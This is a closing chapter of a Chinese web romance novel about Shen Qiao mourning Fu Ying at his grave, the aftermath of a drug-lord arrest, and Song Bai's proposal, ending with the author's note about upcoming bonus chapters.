僻静的角落,时隔一年多,两人终于面对面,好好说上一句话。 “你没有回闻城,对不对?” 比起分别时,陈延身形更健硕挺拔,更像沈荞初见他时的模样。 他点头:“没告诉你,是不想让你担心。” “我确实会担心。”沈荞轻声道,“但这是你想做的事,对吗?” 陈延一怔。 “我知道,这世上还有很多人,很多小孩,和曾经的我一样,落在坏人手里。”沈荞眼神清澈而认真,“我已经找到姐姐,有家了。我希望他们也能回家,也能找到家人。” “我不会拦着你。” 她轻轻吸了口气。 “我只是想让你知道,你也是我的家人。我希望你平安 ,不希望你受伤。” “如果哪一天你累了,就回来,好不好?” 她仰着脸看他,语气真诚得让陈延心头发酸,“我可以养你的,我有钱,很多很多钱。” 陈延和沈荞站在角落里说话时,宋柏就站在不远处看着。他眼看着陈延抬手,轻轻摸上沈荞的头,他忍了又忍,才忍住上去剁掉那只手的冲动。 宋柏隐忍时,支队长韩兵走到了他身侧。 “宋总,可否借一步说话。” 宋柏不置可否,跟着他走了。 韩兵把他带到一间办公室,先给他倒了一杯茶,才沉声开口。 “宋总,您还记得当初魏霖死后,您让人交上来的账本吗?” 魏霖?账本? 宋柏眼神一沉。 魏霖死后,他让李程把所有东西都交给了公安,包括那本账本。后续的事,都是李程在跟进,他没有再管。 所以,那个人不只是动了傅英,还是动了他大嫂,撞死魏书平,逼死魏霖的人。 “根据那本账本,我们顺藤摸瓜,找到了几条运输线,锁定了几家物流公司。盯了一年多,才终于定位到背后的人。本来计划今晚收网,没想到被你们先撞上了。” 韩兵语气凝重:“我们已经确认,他就是几年前我们行动中漏网的毒枭。人虽然抓住了,但现在还在抢救,暂时没法问话。也不确定他还有多少同伙在外面。” “今夜的事,我们会严格保密,但是宋总出行,还是得注意安全。” 宋柏沉着脸点点头。 等他从办公室出来,沈荞和陈延也已经说完了话。陈延带着沈荞走到他面前。 “那些保镖的笔录还没录完,我先带你们去招待所。” 招待所,听着年代久远,实际条件和普通宾馆相差不大。 只是,宋柏什么时候住过这种地方,本以为他会嫌弃,但他并没有。他只提了一个要求,和沈荞开一间大床房。 陈延凝视他时,宋柏回以挑衅一笑。 而已经开始犯困的沈荞,丝毫没注意到两个男人之间的眼神厮杀。 进了房间,沈荞很困,却睡不着。 她还在想今夜的事,和今夜的人。 她坐在床上,看着慢条斯理解着衬衫扣子的宋柏。 “为什么不让我杀了他。” 宋柏顿住动作,走到她身边坐下,先轻轻摸了摸她的脸,才缓缓开口。 “如果这是在哥伦比亚,我会让你杀了他。” “但这里不是。而且,你手上真沾了人命,你姐姐怎么办?” 姐姐? 沈荞本已冷硬的心,瞬间软了下来。 “他会死的,相信我。”宋柏低声道,“但在他死之前,让他吐出更多东西,救下更多人,不是更好吗?” 这些话,看似是从宋柏嘴里说出来的,可压根不是宋柏的本意。 宋柏的本意,是让成辉利用哥伦比亚那边的毒枭,以合作的名义先把人骗到哥伦比亚,他再带着她过去,让她亲手报仇。 可陈青野坚决反对。 他给边防建立无人机巡防系统的时候,见过边防的人为了缉毒,为了边境的安宁付出了多少代价。他执意要把人交给边防。 两相争执之下,宋柏最终改了计划。 依旧让哥伦比亚那边引人上飞机,但不等飞机起飞,他就先动手。先让她报仇,再把人交给边防。 这样,谁都得到想要的。 可是,真是这样吗? 宋柏好不容易把她哄下睡觉,许莫言又来敲门,说有人想见他。 宋柏出门,走到走廊尽头,看到一个穿着他保镖衣服,但并不是他保镖的人。 “为什么?” 阿峰目光冷厉,直直盯着宋柏。 为什么…… 今晚,太多人问他为什么。 宋柏被问得有些不耐。 他抬眼,看向眼前的人,语气冰冷:“从傅英出事到现在,你一直藏在暗处。你说你是傅英留给她的最后退路,我信。” “但你真以为,我会天真到相信,你那天来找我说那么多,只是为了让我保证她的安全?” “我有最好的安保团队,你很清楚。” “你不是担心她,你是担心你自己。” “你知道自己未必能活着回来,才提前来跟我打预防针,让我知道你的存在,让我有所忌惮。” 宋柏冷笑一声:“说实话,手段真的很拙劣。而你的死活,我半点不在乎。” “但是……”他话锋一转,眼神沉了下来,“她在乎。” “她还不知道你活着。可她如果知道,一定希望你好好活着。” “所以,你必须活着。” “你既然是傅英留给她的退路,就把这条路守好,别断了。听懂了吗?” 阿峰怎么会不懂。 当年他重伤,从鬼门关被拉回来后,就被直接送去了新加坡。上飞机前,少爷对他说的最后一句话是:“不管发生什么,保护好她。” 少爷的命令,是保护好荞小姐。 可他做不到,不替少爷报仇。 而这一年一年里,阿峰也想明白了很多事。 为什么少爷总是带着林意,从不带他出去,也不让他在外人面前露面,不让他沾手一切脏事,却又交代给他很多事,告诉他很多秘密。 从一开始,他就是少爷给荞小姐准备的后路。 一条清清白白的后路。 他虽然想明白了,可做不到。 他要给少爷报仇,他确实不能保证自己能平安回来,才找了宋柏。 可是,他怎么都没想到,他准备动手时,会在狙击枪里,会看到荞小姐。 他透过狙击枪,看到了荞小姐的所有动作。 他印象中,乖巧温顺的荞小姐,像发了疯。 阿峰心疼的同时,又高兴。 荞小姐没生少爷的气,还记得少爷。 除了他还有人记着少爷。 自从被送上飞机那一刻起,就再没红过眼的阿峰,此刻却红了眼。 “我能见见荞小姐吗?” * 这一晚,沈荞梦到了傅英。 从他失踪那一晚起,就从没出现在她梦里的傅英,出现了。 他依旧温和,看着她的眼神依旧柔软。 他摸着她的头,轻声夸她。 “我们荞荞真厉害。” 从小到大,他从来不会吝啬对她的夸奖。 在她为他报仇的这一晚,他来到了她的梦里,夸赞她。 沈荞贪恋看着他,看着他的脸,看着他的眼。 “傅英,我想你了。” 很想,很想你。 “我不该和你生气的。” “我不生气了,你能回来吗?” “你答应过我,要陪我过生日的。” “三年了,你都没有回来,你说话不算数。” 沈荞揪着他的袖口,仰着头看他,委屈又无助。 他俯身,轻轻亲吻了她的额头,对她说:“对不起。” 沈荞不想听他说对不起,只想要他回来。 可还没等她把话说出口,他揉了揉她的头,身影开始慢慢消散。 “我们荞荞,会幸福一辈子的。” 沈荞不知道什么是幸福,只知道他又要不见了。她疯了一样伸手去抓,却只抓了个空。 “傅英……” 沈荞站在原地,声嘶力竭地喊他,可任凭她怎么喊,他都没有再回来。 “骗子,傅英你这个骗子。” 沈荞无力瘫坐在原地,痛哭出声。而这时,远方飘来低沉的 呼唤。 “荞荞,荞荞。” 脸颊满是泪水的沈荞睁开眼,对上了一双满是担忧的眼。 “做噩梦了?” 沈荞摇摇头。 “我梦到傅英了。” 抱着她的人身体一僵,随后又松懈下来,一下下轻拍着她的背。 “你想见他吗?” 沈荞猛地抬头,不敢置信。 “你想见他,我就带你去见他。” * 天还没亮,宋柏就带着沈荞去了墓园。 四周没有喧嚣,没有声响,连风都静得压抑。 天是阴的,灰得像化不开的雾,笼罩在沈荞心底。 他带她走到墓园最僻静的角落里。 三座小小的墓碑,并排靠在一起。 沈荞的脚步,在看见那三块碑的瞬间,彻底僵住。 中间的墓碑没有照片,只简简单单刻着两个:傅英。 左侧的碑上嵌着一张小女孩的照片,刻着的名字是傅薇,而立碑人是……傅英。 右侧碑上的照片是一位面容和蔼的女人,名字陌生,立碑人,依旧是傅英。 那是他从未对她提起过的妹妹与母亲。 是他曾在无人之处,偷偷痛哭、日夜思念的妹妹和母亲。是他拼尽全力想要守护,却最终没能护住的人。 他在这世上挣扎了那么久,直到死去,才终于能回到妹妹和母亲身边。 沈荞站在碑前,喉咙发紧,连呼吸都带着顿疼。 她曾以为,替他报了仇,她就能痛快。 可真的站在这里,她才明白,报再多仇,死再多的人,也换不回傅英了。 他死了。 她慢慢蹲下身,指尖颤抖着,轻轻抚过碑上那两个冰冷的字。 石碑刺骨的凉,顺着指尖蔓延至心底。 眼泪滑过眼眶,滚落,一滴,又一滴,砸在碑面上,晕开一片湿痕。 “对不起……” 她的声音发颤,轻得几乎听不清。 “对不起……” 她一遍遍地道歉,到最后,只剩下压抑的哽咽。 宋柏就站在她身后一步,没有上前,也没有打扰。 他只是安静地看着她单薄的背影,看着她蹲在三座墓碑前,整个人透着几乎无法喘息的悲恸。 他本可以不带她来。 但是,他想给她一个了结,也想给她一个念想。 沈荞从天色昏沉,坐到细雨飘落,从失神哽咽,渐渐变得无力虚脱。 宋柏终于不再旁观,上前弯腰将她打横抱起。 沈荞没有丝毫抗拒,乖乖窝在他怀里,任由他抱着自己走出墓园,坐进车里。 车外的雨淅淅沥沥砸在车身上,沈荞紧紧抓着他的衣服,问出了心底的疑惑。 “阿峰没有死,对不对?我那天见到的,就是阿峰,对吗?” 快三年了,宋柏查遍所有地方,都没有傅英的任何行踪,也没有查到害他的人的任何线索。 可就在她看到疑似阿峰的人后,短短时间,他不仅找到了害死傅英的人,还找到了傅英的墓碑。 连她都不知道傅英是沧城人,不知道他的妹妹和母亲葬在这里,宋柏又怎么可能知道。 沈荞即便悲伤,意识却依旧清醒。 她清楚地意识到,这一切都不对劲。 宋柏没有再隐瞒,轻轻点了点头。 哭了太久,沈荞整个人都有些麻木,她扯不出半分欣喜的表情,只是轻声问:“阿峰不想见我,对吗?” 宋柏抬手,轻轻擦去她眼角残留的泪痕。 “他当然想见你,只是,他不想打扰你。” “你已经有了新的生活。” “而且,他也该开始新的生活了。” 沈荞微微一怔,低声问:“他……还好吗?” 宋柏:“他很好。” 沈荞缓缓垂下眼,轻声呢喃:“那就好。” 不一定非要见面。 只要她知道,他还活着,过得很好,就足够了。 * 宋柏抱着沈荞回到招待所时,在一楼大厅等候许久的陈延立刻迎了上来。看清他怀里双眼红肿、满脸泪痕的沈荞,陈延看向宋柏的目光瞬间变得锋利。 而宋柏,只是淡然朝他摇了摇头, 陈延一顿,什么都没说。宋柏抱着沈荞回到房间,给她擦了脸,换了衣服,看着她睡下,才轻手轻脚走出房间。 守在走廊的陈延立刻上前,声音紧绷:“她怎么了?” 宋柏看着眼前身形挺拔的陈延,没说话,只在心里思索一个问题。 陈延是代表正义的警察,而傅英,是站在阴暗面的毒枭的儿子。如果傅英没死,他们两个人碰见,又会是什么局面。 死一个? 可不管死哪一个,她估计都得恨死另一个。 所以,不管怎么样,他都是她最好的选择和最终的选择。 收回思绪,宋柏淡淡开口。 “她在思念一个对她重要的人。” 陈延怔了一下,没有再追问,只说:“笔录全都做完了,你们可以走了。带她回京城吧。” 宋柏:“我是想带她回去,可她应该不想回。” 陈延没明白宋柏的意思,宋柏也并不想解释。 正如宋柏所料,沈荞醒来后,并没有回京城的打算。她留在沧城,每天往墓地去,坐在傅英的墓碑前,一坐就是一整天,不说话,就只是安静地坐着。 宋柏没有阻拦她。说实话,她这样的状态,比他预料的好太多,他本以为,她又会发病崩溃。 沈荞日复一日守在墓园时,陈延所在的边防大队,也在全力推进案件。 先是被车撞、又被沈荞重伤的付山,虽然被抢救回来,却拒不配合,一言不发。即便如此,也阻挡不了边防调查取证。 宋柏也把消息转给了他大哥,有他大哥介入,事情推进得更快。 一天,从墓园出来,沈荞突然说想和陈延吃顿饭,宋柏什么也没问,直接带她去了支队。 刚进支队大门,就遇上一队警车回来。他们要找的陈延,正从一辆警车上押下一个男人。 宋柏牵着沈荞站在一侧默默看着。被押下车的男人也看到了他们,准确地说,是看到了宋柏身边的沈荞。 宋柏认出那个男人正是曾经被沈荞踹下海的付川,而双手拷着手铐的付川也认出了沈荞, 不等他细看,押着他的陈延扣紧了他的肩膀。付川疼得下意识回头,对上陈延犀利冰冷的眼。 “警官,我真的什么都不知道。” 付川确实什么都不知道。他大哥叫他来云南,却一直没见他,只让他等着。他待了一个月,实在待不住想走,房门却突然被踹开,一堆警察持枪冲进来,当场把他摁住。 他更没想到,自己一直找的人,会在他最狼狈的时候,出现在眼前。 付川还想再说什么,却连回头的机会都没有,直接被押了进去。 宋柏收回眼神:“陈延今天应该没空和我们吃饭了。” 沈荞也看明白了:“那下次吧。” 宋柏本来以为她说的下次是明天后天之类的,结果真的是下次,因为她想回京城了。 宋柏没有表示疑惑,也没有问她怎么突然改变主意,只是默默让人安排了飞机。 走之前,沈荞又去了一次墓园。 她蹲在墓碑前,再一次轻轻抚摸那两个字。 “等我生日,我再来看你。” 她找到他了,不用再去卡塔赫纳了。 他不能来陪她过生日,那她就来找他。 从墓园出来,沈荞去见了陈延,只认真对他说:“注意安全。” 陈延笑着点头。沈荞轻轻抱了他一下,才走回宋柏身边。 “走吧。” 宋柏牵着她,上车,登机。 飞机缓缓滑过跑道,腾空而起时,宋柏忽然开口。 “告诉你一个好消息,一个坏消息。” 沈荞仰头:“什么?” 宋柏:“曹华死了,矿井塌方,他没能出来。” 曹华就是她的亲爹。 亲爹死了,对寻常人而言,是坏消息,对她而言,是解脱,也是好消息。 这是好消息,那坏消息…… 宋柏:“你姐姐怀孕了。” 姐姐怀孕了,要有自己的孩子了。 除了陈青野,又要多一个人,分走姐姐的爱。 这对沈荞而言,确实是坏消息。 有孩子,有老公。 姐姐有一个完整的家了。 那她呢? 沈荞怔怔出神时,身侧的男人忽然认真开口。 “我们结婚吧。” 沈荞猛地抬头,眼底满是诧异与疑惑。 她看着他,沉默了许久,才终于开口。 “你有病吗?” 她有精神病,他还敢娶她。 他也疯了吗? 宋柏低笑一声:“是啊,我有病,神经病。” 神经病配精神病。 刚好,天生一对—— 作者有话说:正文到这里告一段落啦。但荞荞和宋柏的故事还没有结束,更多甜甜日常,会放在福利番外。 福利番外免费,但要等完结结算通过后才能发,所以宝子们需要等待下。不过等待期间,我会努力码的,到时就可以一次性看很多香香的番外了。宝们想看什么福利番外,也可以在评论区告诉我哟。 最后的最后,能给预收文点点收藏吗? 用不了多久,就会开文哒。《 》